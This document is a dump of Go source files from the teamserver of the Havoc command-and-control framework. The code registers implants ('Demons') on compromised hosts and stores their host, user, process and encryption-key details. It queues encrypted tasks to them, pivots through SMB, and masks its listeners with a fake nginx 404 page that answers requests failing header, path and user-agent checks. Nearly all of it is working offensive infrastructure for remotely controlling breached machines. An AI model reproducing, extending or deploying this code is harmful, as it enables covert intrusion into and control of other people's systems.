stmt.Close() if err != nil { return err } return nil } ================================================ FILE: teamserver/pkg/db/misc.go ================================================ package db ================================================ FILE: teamserver/pkg/events/chatlog.go ================================================ package events import ( "time" "Havoc/pkg/packager" ) var ChatLog chatLog func (chatLog) NewUserConnected(User string) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Chat.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Chat.NewUser, Info: map[string]any{ "User": User, }, }, } } func (chatLog) UserDisconnected(User string) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Chat.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Chat.UserDisconnected, Info: map[string]any{ "User": User, }, }, } } ================================================ FILE: teamserver/pkg/events/demons.go ================================================ package events import ( "encoding/base64" "encoding/json" "fmt" "strconv" "time" "Havoc/pkg/agent" "Havoc/pkg/logr" "Havoc/pkg/packager" ) /* TODO: rename everything here from 'Demon' to 'Agent' */ var Demons demons func (demons) NewDemon(Agent *agent.Agent) packager.Package { var ( Package packager.Package ) Package.Head.Event = packager.Type.Session.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Head.OneTime = "true" Package.Body.SubEvent = packager.Type.Session.NewSession Package.Body.Info = make(map[string]interface{}) InfoMap := map[string]interface{}{ "Active": fmt.Sprintf("%v", Agent.Active), "BackgroundCheck": Agent.BackgroundCheck, "DomainName": Agent.Info.DomainName, "Elevated": Agent.Info.Elevated, "Encryption": map[string]interface{}{ "AESKey": base64.StdEncoding.EncodeToString(Agent.Encryption.AESKey), "AESIv": base64.StdEncoding.EncodeToString(Agent.Encryption.AESIv), }, "InternalIP": Agent.Info.InternalIP, "ExternalIP": Agent.Info.ExternalIP, "FirstCallIn": Agent.Info.FirstCallIn, "LastCallIn": Agent.Info.LastCallIn, "Hostname": Agent.Info.Hostname, "Listener": "null", // ? "MagicValue": fmt.Sprintf("%x", Agent.Info.MagicValue), "NameID": Agent.NameID, "OSArch": Agent.Info.OSArch, "OSBuild": Agent.Info.OSBuild, "OSVersion": Agent.Info.OSVersion, "Pivots": map[string]interface{}{ "Parent": nil, "Links": []string{}, }, "PortFwds": []string{}, "ProcessArch": Agent.Info.ProcessArch, "ProcessName": Agent.Info.ProcessName, "ProcessPID": fmt.Sprintf("%d", Agent.Info.ProcessPID), "ProcessPPID": fmt.Sprintf("%d", Agent.Info.ProcessPPID), "ProcessPath": Agent.Info.ProcessPath, "Reason": Agent.Reason, "SleepDelay": Agent.Info.SleepDelay, "SleepJitter": Agent.Info.SleepJitter, "KillDate": Agent.Info.KillDate, "WorkingHours": Agent.Info.WorkingHours, "SocksCli": []string{}, "SocksCliMtx": nil, "SocksSvr": []string{}, "TaskedOnce": Agent.TaskedOnce, "Username": Agent.Info.Username, "PivotParent": "", } if Agent.Pivots.Parent != nil { InfoMap["PivotParent"] = Agent.Pivots.Parent.NameID } Package.Body.Info = InfoMap return Package } func (demons) DemonOutput(DemonID string, CommandID int, Output string) packager.Package { var Package packager.Package var LogrOut map[string]string err := json.Unmarshal([]byte(Output), &LogrOut) if err == nil && CommandID != agent.COMMAND_NOJOB { logr.LogrInstance.DemonAddOutput(DemonID, LogrOut, time.Now().UTC().Format("02/01/2006 15:04:05")) } Package.Head.Event = packager.Type.Session.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Session.Output Package.Body.Info = make(map[string]interface{}) Package.Body.Info["DemonID"] = DemonID Package.Body.Info["CommandID"] = strconv.Itoa(CommandID) Package.Body.Info["Output"] = base64.StdEncoding.EncodeToString([]byte(Output)) return Package } func (demons) CallBack(DemonID string, callback string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Session.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Session.Output Package.Body.Info = make(map[string]interface{}) Package.Body.Info["DemonID"] = DemonID Package.Body.Info["CommandID"] = "10" Package.Body.Info["Output"] = callback return Package } func (demons) MarkAs(AgentID, Mark string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Session.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Session.MarkAsDead Package.Body.Info = make(map[string]interface{}) Package.Body.Info["AgentID"] = AgentID Package.Body.Info["Marked"] = Mark return Package } ================================================ FILE: teamserver/pkg/events/events.go ================================================ package events import ( "Havoc/pkg/logger" "encoding/json" "net" "time" "Havoc/pkg/packager" "Havoc/pkg/profile" ) type ( chatLog int listeners int demons int gate int service int teamserver int ) func Authenticated(authed bool) packager.Package { if authed { return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Success, Info: map[string]any{ "Message": "Successful Authenticated", }, }, } } else { return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Error, Info: map[string]any{ "Message": "Wrong Password", }, }, } } } func UserAlreadyExits() packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Error, Info: map[string]any{ "Message": "User already exits", }, }, } } func UserDoNotExists() packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Error, Info: map[string]any{ "Message": "User doesn't exits", }, }, } } func SendProfile(profile *profile.Profile) packager.Package { var ( JsonBytes []byte Addresses string addrs []net.Addr err error ) JsonBytes, err = json.Marshal(*profile.Config.Demon) if err != nil { logger.DebugError("json.Marshal Error: " + err.Error()) return packager.Package{} } addrs, err = net.InterfaceAddrs() if err != nil { logger.DebugError("net.InterfaceAddrs Error: " + err.Error()) return packager.Package{} } for _, address := range addrs { if aspnet, ok := address.(*net.IPNet); ok && !aspnet.IP.IsLoopback() { if aspnet.IP.To4() != nil { if len(Addresses) == 0 { Addresses = aspnet.IP.String() } else { Addresses += ", " + aspnet.IP.String() } } } } return packager.Package{ Head: packager.Head{ Event: packager.Type.InitConnection.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.InitConnection.Profile, Info: map[string]any{ "Demon": string(JsonBytes), "TeamserverIPs": Addresses, }, }, } } ================================================ FILE: teamserver/pkg/events/gate.go ================================================ package events import ( "encoding/base64" "time" "Havoc/pkg/packager" ) var Gate gate func (g gate) SendStageless(Format string, payload []byte) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Gate.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Gate.Stageless, Info: map[string]any{ "PayloadArray": base64.StdEncoding.EncodeToString(payload), "Format": Format, "FileName": Format, }, }, } } func (g gate) SendConsoleMessage(MsgType, text string) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Gate.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Gate.Stageless, Info: map[string]any{ "MessageType": MsgType, "Message": text, }, }, } } ================================================ FILE: teamserver/pkg/events/listeners.go ================================================ package events import ( "strings" "time" "Havoc/pkg/handlers" "Havoc/pkg/packager" "github.com/fatih/structs" ) var Listener listeners func (listeners) ListenerAdd(FromUser string, Type int, Config any) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Head.User = FromUser Package.Body.SubEvent = packager.Type.Listener.Add switch Type { case handlers.LISTENER_HTTP: Package.Body.Info = make(map[string]interface{}) Package.Body.Info = structs.Map(Config.(*handlers.HTTP).Config) Package.Body.Info["Protocol"] = handlers.AGENT_HTTP Package.Body.Info["Headers"] = strings.Join(Config.(*handlers.HTTP).Config.Headers, ", ") Package.Body.Info["Uris"] = strings.Join(Config.(*handlers.HTTP).Config.Uris, ", ") /* proxy settings */ Package.Body.Info["Proxy Enabled"] = "false" if Config.(*handlers.HTTP).Config.Proxy.Enabled { Package.Body.Info["Proxy Enabled"] = "true" } Package.Body.Info["Proxy Type"] = Config.(*handlers.HTTP).Config.Proxy.Type Package.Body.Info["Proxy Host"] = Config.(*handlers.HTTP).Config.Proxy.Host Package.Body.Info["Proxy Port"] = Config.(*handlers.HTTP).Config.Proxy.Port Package.Body.Info["Proxy Username"] = Config.(*handlers.HTTP).Config.Proxy.Username Package.Body.Info["Proxy Password"] = Config.(*handlers.HTTP).Config.Proxy.Password Package.Body.Info["Secure"] = "false" if Config.(*handlers.HTTP).Config.Secure { Package.Body.Info["Secure"] = "true" } if Config.(*handlers.HTTP).Active { Package.Body.Info["Status"] = "Online" } else { Package.Body.Info["Status"] = "Offline" } delete(Package.Body.Info, "Proxy") delete(Package.Body.Info, "Response") delete(Package.Body.Info, "Hosts") var Hosts string for _, host := range Config.(*handlers.HTTP).Config.Hosts { if len(Hosts) == 0 { Hosts = host } else { Hosts += ", " + host } } Package.Body.Info["Hosts"] = Hosts break case handlers.LISTENER_EXTERNAL: Package.Body.Info = make(map[string]interface{}) Package.Body.Info = structs.Map(Config.(*handlers.External).Config) Package.Body.Info["Protocol"] = handlers.AGENT_EXTERNAL Package.Body.Info["Status"] = "Online" break case handlers.LISTENER_PIVOT_SMB: Package.Body.Info = make(map[string]interface{}) Package.Body.Info = structs.Map(Config.(*handlers.SMB).Config) Package.Body.Info["Protocol"] = handlers.AGENT_PIVOT_SMB Package.Body.Info["Status"] = "Online" break } return Package } func (listeners) ListenerEdit(Type int, Config any) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Listener.Edit switch Type { case handlers.LISTENER_HTTP: Package.Body.Info = make(map[string]interface{}) Package.Body.Info = structs.Map(Config.(*handlers.HTTPConfig)) Package.Body.Info["Protocol"] = handlers.AGENT_HTTP Package.Body.Info["Headers"] = strings.Join(Config.(*handlers.HTTPConfig).Headers, ", ") Package.Body.Info["Uris"] = strings.Join(Config.(*handlers.HTTPConfig).Uris, ", ") // Proxy settings Package.Body.Info["Proxy Enabled"] = "false" if Config.(*handlers.HTTPConfig).Proxy.Enabled { Package.Body.Info["Proxy Enabled"] = "true" } Package.Body.Info["Proxy Type"] = Config.(*handlers.HTTPConfig).Proxy.Type Package.Body.Info["Proxy Host"] = Config.(*handlers.HTTPConfig).Proxy.Host Package.Body.Info["Proxy Port"] = Config.(*handlers.HTTPConfig).Proxy.Port Package.Body.Info["Proxy Username"] = Config.(*handlers.HTTPConfig).Proxy.Username Package.Body.Info["Proxy Password"] = Config.(*handlers.HTTPConfig).Proxy.Password Package.Body.Info["Secure"] = "false" if Config.(*handlers.HTTPConfig).Secure { Package.Body.Info["Secure"] = "true" } /* response */ Package.Body.Info["Response Headers"] = strings.Join(Config.(*handlers.HTTPConfig).Response.Headers, ", ") delete(Package.Body.Info, "Proxy") delete(Package.Body.Info, "Response") delete(Package.Body.Info, "Hosts") var Hosts string for _, host := range Config.(*handlers.HTTPConfig).Hosts { if len(Hosts) == 0 { Hosts = host } else { Hosts += ", " + host } } Package.Body.Info["Hosts"] = Hosts break } return Package } func (listeners) ListenerError(FromUser string, ListenerName string, err error) packager.Package { var ( Package packager.Package listenerErr = strings.Split(err.Error(), ":") ) Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Head.User = FromUser Package.Body.SubEvent = packager.Type.Listener.Error Package.Body.Info = make(map[string]interface{}) Package.Body.Info["Error"] = listenerErr[len(listenerErr)-1] Package.Body.Info["Name"] = ListenerName return Package } func (listeners) ListenerRemove(ListenerName string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Listener.Remove Package.Body.Info = make(map[string]interface{}) Package.Body.Info["Name"] = ListenerName return Package } func (listeners) ListenerMark(ListenerName string, Mark string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Listener.Mark Package.Body.Info = make(map[string]interface{}) Package.Body.Info["Name"] = ListenerName Package.Body.Info["Mark"] = Mark return Package } ================================================ FILE: teamserver/pkg/events/service.go ================================================ package events import ( "time" "Havoc/pkg/packager" ) var Service service func (service) AgentRegister(AgentData string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Service.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Service.RegisterAgent Package.Body.Info = map[string]interface{}{ "Agent": AgentData, } return Package } func (service) ListenerRegister(ListenerData string) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Service.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Service.RegisterListener, Info: map[string]any{ "Listener": ListenerData, }, }, } } ================================================ FILE: teamserver/pkg/events/teamserver.go ================================================ package events import ( "time" "Havoc/pkg/packager" ) var Teamserver teamserver func (teamserver) Logger(text string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Teamserver.Type // Time Day Month Year Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.Info = make(map[string]interface{}) Package.Body.SubEvent = packager.Type.Teamserver.Log Package.Body.Info["Text"] = text return Package } func (teamserver) Profile(profile string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Teamserver.Type // Time Day Month Year Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.Info = make(map[string]interface{}) Package.Body.SubEvent = packager.Type.Teamserver.Log Package.Body.Info["profile"] = profile return Package } ================================================ FILE: teamserver/pkg/handlers/404.html ================================================ 404 Not Found

404 Not Found


nginx
================================================ FILE: teamserver/pkg/handlers/external.go ================================================ package handlers import ( "io" "net/http" "strings" "Havoc/pkg/colors" "Havoc/pkg/logger" "encoding/hex" "github.com/gin-gonic/gin" ) func NewExternal(WebSocketEngine any, Config ExternalConfig) *External { var external = new(External) external.engine = WebSocketEngine.(*gin.Engine) external.Config = Config return external } func (e *External) Start() { logger.Info("Started \"" + colors.Green(e.Config.Name) + "\" listener: " + colors.BlueUnderline("external://"+e.Config.Endpoint)) pk := e.Teamserver.ListenerAdd("", LISTENER_EXTERNAL, e) e.Teamserver.EventAppend(pk) e.Teamserver.EventBroadcast("", pk) } // Request // The way the external c2 handles or parses the request is like the HTTP listener. // Only one agent package can be parsed (at least for the demon agent). // for 3rd party agents you have more power over the packages since // the teamserver won't parse them. func (e *External) Request(ctx *gin.Context) { logger.Debug("ExternalC2 [" + e.Config.Name + "] client connected") Body, err := io.ReadAll(ctx.Request.Body) if err != nil { logger.Debug("Error while reading request: " + err.Error()) } logger.Debug(" - Exc2 Host : " + ctx.Request.Host) logger.Debug(" - Exc2 Body : \n" + hex.Dump(Body)) ExternalIP := strings.Split(ctx.Request.RemoteAddr, ":")[0] if Response, Success := parseAgentRequest(e.Teamserver, Body, ExternalIP); Success { _, err := ctx.Writer.Write(Response.Bytes()) if err != nil { logger.Debug("Failed to write to request: " + err.Error()) ctx.Status(http.StatusNotFound) return } } else { ctx.AbortWithStatus(http.StatusNotFound) return } ctx.AbortWithStatus(http.StatusOK) return } ================================================ FILE: teamserver/pkg/handlers/handlers.go ================================================ package handlers import ( "bytes" //"encoding/hex" "fmt" "math/bits" "Havoc/pkg/agent" "Havoc/pkg/common/packer" "Havoc/pkg/common/parser" "Havoc/pkg/logger" ) // parseAgentRequest // parses the agent request and handles the given data. // return 2 types. // Response is the data/bytes once this function finished parsing the request. // Success is if the function was successful while parsing the agent request. // // Response byte.Buffer // Success bool func parseAgentRequest(Teamserver agent.TeamServer, Body []byte, ExternalIP string) (bytes.Buffer, bool) { var ( Header agent.Header Response bytes.Buffer err error ) Header, err = agent.ParseHeader(Body) if err != nil { logger.Debug("[Error] Header: " + err.Error()) return Response, false } if Header.Data.Length() < 4 { return Response, false } // handle this demon connection if the magic value matches if Header.MagicValue == agent.DEMON_MAGIC_VALUE { return handleDemonAgent(Teamserver, Header, ExternalIP) } // If it's not a Demon request then try to see if it's a 3rd party agent. return handleServiceAgent(Teamserver, Header, ExternalIP) } // handleDemonAgent // parse the demon agent request // return 2 types: // // Response bytes.Buffer // Success bool func handleDemonAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) { var ( Agent *agent.Agent Response bytes.Buffer RequestID uint32 Command uint32 Packer *packer.Packer Build []byte err error ) /* check if the agent exists. */ if Teamserver.AgentExist(Header.AgentID) { /* get our agent instance based on the agent id */ Agent = Teamserver.AgentInstance(Header.AgentID) Agent.UpdateLastCallback(Teamserver) // while we can read a command and request id, parse new packages first_iter := true asked_for_jobs := false for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) { Command = uint32(Header.Data.ParseInt32()) RequestID = uint32(Header.Data.ParseInt32()) /* check if this is a 'reconnect' request */ if Command == agent.DEMON_INIT { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INIT", Header.AgentID)) Packer = packer.NewPacker(Agent.Encryption.AESKey, Agent.Encryption.AESIv) Packer.AddUInt32(uint32(Header.AgentID)) Build = Packer.Build() _, err = Response.Write(Build) if err != nil { logger.Error(err) return Response, false } logger.Debug(fmt.Sprintf("reconnected %x", Build)) return Response, true } if first_iter { first_iter = false // if the message is not a reconnect, decrypt the buffer Header.Data.DecryptBuffer(Agent.Encryption.AESKey, Agent.Encryption.AESIv) } /* The agent is sending us the result of a task */ if Command != agent.COMMAND_GET_JOB { Parser := parser.NewParser(Header.Data.ParseBytes()) Agent.TaskDispatch(RequestID, Command, Parser, Teamserver) } else { asked_for_jobs = true } } /* if there is no job then just reply with a COMMAND_NOJOB */ if asked_for_jobs == false || len(Agent.JobQueue) == 0 { var NoJob = []agent.Job{{ Command: agent.COMMAND_NOJOB, Data: []interface{}{}, }} var Payload = agent.BuildPayloadMessage(NoJob, Agent.Encryption.AESKey, Agent.Encryption.AESIv) _, err = Response.Write(Payload) if err != nil { logger.Error("Couldn't write to HTTP connection: " + err.Error()) return Response, false } } else { /* if there is a job then send the Task Queue */ var ( job = Agent.GetQueuedJobs() payload = agent.BuildPayloadMessage(job, Agent.Encryption.AESKey, Agent.Encryption.AESIv) ) // write the response to the buffer _, err = Response.Write(payload) if err != nil { logger.Error("Couldn't write to HTTP connection: " + err.Error()) return Response, false } // TODO: move this to its own function // show bytes for pivot var CallbackSizes = make(map[uint32][]byte) for j := range job { if len(job[j].Data) >= 1 { switch job[j].Command { case agent.COMMAND_PIVOT: if job[j].Data[0] == agent.DEMON_PIVOT_SMB_COMMAND { var ( TaskBuffer = job[j].Data[2].([]byte) PivotAgentID = int(job[j].Data[1].(uint32)) PivotInstance *agent.Agent ) for { var ( Parser = parser.NewParser(TaskBuffer) CommandID = 0 SubCommandID = 0 ) Parser.SetBigEndian(false) Parser.ParseInt32() Parser.ParseInt32() CommandID = Parser.ParseInt32() // Socks5 over SMB agents yield a CommandID equal to 0 if CommandID != agent.COMMAND_PIVOT && CommandID != 0 { //CallbackSizes[uint32(PivotAgentID)] = append(CallbackSizes[job[j].Data[1].(uint32)], TaskBuffer...) break } /* get an instance of the pivot */ PivotInstance = Teamserver.AgentInstance(PivotAgentID) if PivotInstance != nil { break } /* parse the task from the parser */ TaskBuffer = Parser.ParseBytes() /* create a new parse for the parsed task */ Parser = parser.NewParser(TaskBuffer) Parser.DecryptBuffer(PivotInstance.Encryption.AESKey, PivotInstance.Encryption.AESIv) if Parser.Length() >= 4 { SubCommandID = Parser.ParseInt32() SubCommandID = int(bits.ReverseBytes32(uint32(SubCommandID))) if SubCommandID == agent.DEMON_PIVOT_SMB_COMMAND { PivotAgentID = Parser.ParseInt32() PivotAgentID = int(bits.ReverseBytes32(uint32(PivotAgentID))) TaskBuffer = Parser.ParseBytes() continue } else { CallbackSizes[uint32(PivotAgentID)] = append(CallbackSizes[job[j].Data[1].(uint32)], TaskBuffer...) break } } } } break case agent.COMMAND_SOCKET: break case agent.COMMAND_FS: break case agent.COMMAND_MEM_FILE: break default: //logger.Debug("Default") /* build the task payload */ payload = agent.BuildPayloadMessage([]agent.Job{job[j]}, Agent.Encryption.AESKey, Agent.Encryption.AESIv) /* add the size of the task to the callback size */ CallbackSizes[uint32(Header.AgentID)] = append(CallbackSizes[uint32(Header.AgentID)], payload...) break } } else { CallbackSizes[uint32(Header.AgentID)] = append(CallbackSizes[uint32(Header.AgentID)], payload...) } } for agentID, buffer := range CallbackSizes { Agent = Teamserver.AgentInstance(int(agentID)) if Agent != nil { Teamserver.AgentCallbackSize(Agent, len(buffer)) } } CallbackSizes = nil } } else { logger.Debug("Agent does not exists. hope this is a register request") var ( Command = Header.Data.ParseInt32() ) /* TODO: rework this. */ if Command == agent.DEMON_INIT { // RequestID, unused on DEMON_INIT Header.Data.ParseInt32() Agent = agent.ParseDemonRegisterRequest(Header.AgentID, Header.Data, ExternalIP) if Agent == nil { return Response, false } Agent.Info.MagicValue = Header.MagicValue Agent.Info.Listener = nil /* TODO: pass here the listener instance/name */ Teamserver.AgentAdd(Agent) Teamserver.AgentSendNotify(Agent) Packer = packer.NewPacker(Agent.Encryption.AESKey, Agent.Encryption.AESIv) Packer.AddUInt32(uint32(Header.AgentID)) Build = Packer.Build() _, err = Response.Write(Build) if err != nil { logger.Error(err) return Response, false } logger.Debug("Finished request") } else { logger.Debug("Is not register request. bye...") return Response, false } } return Response, true } // handleServiceAgent // handles and parses a service agent request // return 2 types: // // Response bytes.Buffer // Success bool func handleServiceAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) { var ( Response bytes.Buffer AgentData any Agent *agent.Agent Task []byte err error ) /* search if a service 3rd party agent was registered with this MagicValue */ if !Teamserver.ServiceAgentExist(Header.MagicValue) { return Response, false } Agent = Teamserver.AgentInstance(Header.AgentID) if Agent != nil { AgentData = Agent.ToMap() } // Update Callback time if Teamserver.AgentExist(Header.AgentID) { Agent.UpdateLastCallback(Teamserver) } Task = Teamserver.ServiceAgent(Header.MagicValue).SendResponse(AgentData, Header) //logger.Debug("Response:\n", hex.Dump(Task)) _, err = Response.Write(Task) if err != nil { return Response, false } return Response, true } // notifyTaskSize // notifies every connected operator client how much we send to agent. func notifyTaskSize(teamserver agent.TeamServer) { } ================================================ FILE: teamserver/pkg/handlers/http.go ================================================ package handlers import ( "context" //"encoding/hex" "io" "log" "net/http" "os" "regexp" "strings" "time" "fmt" "Havoc/pkg/colors" "Havoc/pkg/common/certs" "Havoc/pkg/common" "Havoc/pkg/logger" "Havoc/pkg/logr" "github.com/gin-gonic/gin" ) func NewConfigHttp() *HTTP { var config = new(HTTP) config.GinEngine = gin.New() return config } func (h *HTTP) generateCertFiles() bool { var ( err error ListenerName string ListenerPath string ) reg, err := regexp.Compile("[^a-zA-Z0-9]+") if err != nil { log.Fatal(err) } ListenerName = reg.ReplaceAllString(h.Config.Name, "") ListenerPath = logr.LogrInstance.ListenerPath + "/" + ListenerName + "/" logger.Debug("Listener Path:", ListenerPath) if _, err := os.Stat(ListenerPath); os.IsNotExist(err) { if err = os.Mkdir(ListenerPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr listener " + h.Config.Name + " folder: " + err.Error()) return false } } h.TLS.CertPath = ListenerPath + "server.crt" h.TLS.KeyPath = ListenerPath + "server.key" h.TLS.Cert, h.TLS.Key, err = certs.HTTPSGenerateRSACertificate(common.GetInterfaceIpv4Addr(h.Config.HostBind)) err = os.WriteFile(h.TLS.CertPath, h.TLS.Cert, 0644) if err != nil { logger.Error("Couldn't save server cert file: " + err.Error()) return false } err = os.WriteFile(h.TLS.KeyPath, h.TLS.Key, 0644) if err != nil { logger.Error("Couldn't save server key file: " + err.Error()) return false } logger.Debug("Successful generated tls certifications") return true } // fake nginx 404 page func (h *HTTP) fake404(ctx *gin.Context) { ctx.Writer.WriteHeader(http.StatusNotFound) html, err := os.ReadFile("teamserver/pkg/handlers/404.html") if err != nil { logger.Debug("Could not read fake 404 page: " + err.Error()) return } ctx.Header("Server", "nginx") ctx.Header("Content-Type", "text/html") ctx.Header("X-Havoc", "true") ctx.Writer.Write(html) } func (h *HTTP) request(ctx *gin.Context) { var ExternalIP string var MissingHdr string Body, err := io.ReadAll(ctx.Request.Body) if err != nil { logger.Debug("Error while reading request: " + err.Error()) } if h.Config.BehindRedir { ExternalIP = ctx.Request.Header.Get("X-Forwarded-For") } else { ExternalIP = strings.Split(ctx.Request.RemoteAddr, ":")[0] } /* logger.Debug("POST " + ctx.Request.RequestURI) logger.Debug("Host: " + ctx.Request.Host) for name, values := range ctx.Request.Header { for _, value := range values { logger.Debug(name + ": " + value) } } logger.Debug("\n" + hex.Dump(Body)) */ // check that the headers defined on the profile are present valid := true IgnoreHeaders := [2]string{"Connection", "Accept-Encoding"} for _, Header := range h.Config.Headers { NameValue := strings.Split(Header, ": ") if len(NameValue) > 1 { ignore := false for _, IgnoreHeader := range IgnoreHeaders { if strings.ToLower(NameValue[0]) == strings.ToLower(IgnoreHeader) { ignore = true break } } if ignore == false { // NOTE: the header value comparison is case insensitive if strings.ToLower(ctx.Request.Header.Get(NameValue[0])) != strings.ToLower(NameValue[1]) { MissingHdr = NameValue[0] + ": " + ctx.Request.Header.Get(NameValue[0]) valid = false break } } } } if valid == false { logger.Warn(fmt.Sprintf("got a request with an invalid header: %s", MissingHdr)) h.fake404(ctx) return } // check that the URI is defined on the profile if len(h.Config.Uris) > 0 && ! (len(h.Config.Uris) == 1 && h.Config.Uris[0] == "") { valid = false for _, Uri := range h.Config.Uris { if ctx.Request.RequestURI == Uri { valid = true break } } if valid == false { logger.Warn(fmt.Sprintf("got a request with an invalid request path: %s", ctx.Request.RequestURI)) h.fake404(ctx) return } } // check that the User-Agent is valid if h.Config.UserAgent != "" { if h.Config.UserAgent != ctx.Request.UserAgent() { logger.Warn(fmt.Sprintf("got a request with an invalid user agent: %s", ctx.Request.UserAgent())) h.fake404(ctx) return } } // TODO: should we check the Host header? // the value might change depending // on the redirector setup for _, Header := range h.Config.Response.Headers { var hdr = strings.Split(Header, ":") if len(hdr) > 1 { ctx.Header(hdr[0], hdr[1]) } } if Response, Success := parseAgentRequest(h.Teamserver, Body, ExternalIP); Success { _, err := ctx.Writer.Write(Response.Bytes()) if err != nil { logger.Debug("Failed to write to request: " + err.Error()) h.fake404(ctx) return } } else { logger.Warn("failed to parse agent request") h.fake404(ctx) return } ctx.AbortWithStatus(http.StatusOK) return } func (h *HTTP) Start() { logger.Debug("Setup HTTP/s Server") if len(h.Config.Hosts) == 0 && h.Config.PortBind == "" && h.Config.Name == "" { logger.Error("HTTP Hosts/Port/Name not set") return } h.GinEngine.POST("/*endpoint", h.request) h.GinEngine.GET("/*endpoint", h.fake404) h.Active = true if h.Config.Secure { // TODO: only generate certs if h.Config.Cert is empty if h.generateCertFiles() { logger.Info("Started \"" + colors.Green(h.Config.Name) + "\" listener: " + colors.BlueUnderline("https://"+common.GetInterfaceIpv4Addr(h.Config.HostBind)+":"+h.Config.PortBind)) pk := h.Teamserver.ListenerAdd("", LISTENER_HTTP, h) h.Teamserver.EventAppend(pk) h.Teamserver.EventBroadcast("", pk) go func() { var ( CertPath = h.TLS.CertPath KeyPath = h.TLS.KeyPath ) h.Server = &http.Server{ Addr: common.GetInterfaceIpv4Addr(h.Config.HostBind) + ":" + h.Config.PortBind, Handler: h.GinEngine, } if h.Config.Cert.Cert != "" && h.Config.Cert.Key != "" { CertPath = h.Config.Cert.Cert KeyPath = h.Config.Cert.Key } err := h.Server.ListenAndServeTLS(CertPath, KeyPath) if err != nil { if err == http.ErrServerClosed { h.Active = false } else { logger.Error("Couldn't start HTTPs handler: " + err.Error()) h.Active = false h.Teamserver.EventListenerError(h.Config.Name, err) } } }() } else { logger.Error("Failed to generate server tls certifications") } } else { logger.Info("Started \"" + colors.Green(h.Config.Name) + "\" listener: " + colors.BlueUnderline("http://"+common.GetInterfaceIpv4Addr(h.Config.HostBind)+":"+h.Config.PortBind)) pk := h.Teamserver.ListenerAdd("", LISTENER_HTTP, h) h.Teamserver.EventAppend(pk) h.Teamserver.EventBroadcast("", pk) go func() { h.Server = &http.Server{ Addr: common.GetInterfaceIpv4Addr(h.Config.HostBind) + ":" + h.Config.PortBind, Handler: h.GinEngine, } err := h.Server.ListenAndServe() if err != nil { logger.Error("Couldn't start HTTP handler: " + err.Error()) h.Active = false h.Teamserver.EventListenerError(h.Config.Name, err) } }() } } func (h *HTTP) Stop() error { ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() if err := h.Server.Shutdown(ctx); err != nil { return err } // catching ctx.Done(). timeout of 5 seconds. select { case <-ctx.Done(): logger.Debug("timeout of 5 seconds.") } return nil } ================================================ FILE: teamserver/pkg/handlers/smb.go ================================================ package handlers import ( "Havoc/pkg/colors" "Havoc/pkg/logger" ) func NewPivotSmb() *SMB { var Smb = new(SMB) return Smb } func (s *SMB) Start() { logger.Info("Started \"" + colors.Green(s.Config.Name) + "\" listener") pk := s.Teamserver.ListenerAdd("", LISTENER_PIVOT_SMB, s) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) } ================================================ FILE: teamserver/pkg/handlers/types.go ================================================ package handlers import ( "net/http" 